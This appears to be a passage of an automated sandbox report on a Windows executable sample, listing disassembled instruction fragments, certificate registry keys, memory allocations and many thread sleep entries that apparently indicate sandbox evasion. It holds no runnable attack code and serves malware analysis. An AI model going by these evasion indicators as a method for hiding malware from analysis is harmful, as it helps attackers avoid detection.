Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_3_05D81595 push es; ret	0_3_05D81598
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_3_05D7F598 push es; ret	0_3_05D7F5B8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_3_05D872D2 push eax; ret	0_3_05D872F1
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_3_05D872F2 push 7406A1C3h; ret	0_3_05D872FD
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0040E21D push ecx; ret	0_2_0040E230
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0040BB97 push dword ptr [ecx-75h]; iretd	0_2_0040BBA3
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0219E558 push eax; iretd	0_2_0219E559
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_061CC4EA push es; iretd	0_2_061CC4FC
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_0642FB1E push es; ret	0_2_0642FB20
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064ADBA0 push es; ret	0_2_064ADBB0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_064ADBB8 push es; ret	0_2_064ADBB0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F8922F push es; ret	0_2_06F89240
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 0_2_06F8A816 push dword ptr [ecx+ecx-75h]; iretd	0_2_06F8A823

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Memory allocated: 2150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Memory allocated: 21D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

0_2_004019F0

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599118	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598896	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598776	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598563	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596559	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596438	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596313	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596169	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595844	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Thread delayed: delay time: 594110	Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Window / User API: threadDelayed 2097			Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Window / User API: threadDelayed 7736			Jump to behavior

Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7388	Thread sleep count: 2097 > 30	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7388	Thread sleep count: 7736 > 30	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599118s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe TID: 7384	Thread sleep time: -599014s >= -30000s	Jump to behavior
